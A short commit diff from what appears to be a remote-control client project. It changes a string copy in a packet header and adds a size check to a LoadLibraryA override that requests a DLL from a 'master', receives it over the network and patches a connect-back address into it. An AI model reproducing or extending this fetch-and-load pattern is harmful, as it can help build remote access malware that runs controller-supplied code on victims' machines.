fix: strcpy_s add -2 as padding in debug mode
This commit is contained in:
@@ -108,7 +108,7 @@ typedef struct PkgHeader {
|
|||||||
int originLen;
|
int originLen;
|
||||||
PkgHeader(int size) {
|
PkgHeader(int size) {
|
||||||
memset(flag, 0, sizeof(flag));
|
memset(flag, 0, sizeof(flag));
|
||||||
strcpy_s(flag, "Hello?");
|
memcpy(flag, "Hello?", 6);
|
||||||
originLen = size;
|
originLen = size;
|
||||||
totalLen = sizeof(PkgHeader) + size;
|
totalLen = sizeof(PkgHeader) + size;
|
||||||
}
|
}
|
||||||
@@ -214,11 +214,13 @@ public:
|
|||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
// Request DLL from the master.
|
// Request DLL from the master.
|
||||||
virtual void* LoadLibraryA(const char* path, int len=0) {
|
virtual void* LoadLibraryA(const char* path, int len = 0) {
|
||||||
int size = 0;
|
int size = 0;
|
||||||
auto buffer = ReceiveDll(size);
|
auto buffer = ReceiveDll(size);
|
||||||
if (nullptr == buffer)
|
if (nullptr == buffer || size == 0){
|
||||||
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
return nullptr;
|
return nullptr;
|
||||||
|
}
|
||||||
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
|
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
|
||||||
if (-1 != pos) {
|
if (-1 != pos) {
|
||||||
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
|
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
|
||||||
|
|||||||
Reference in New Issue
Block a user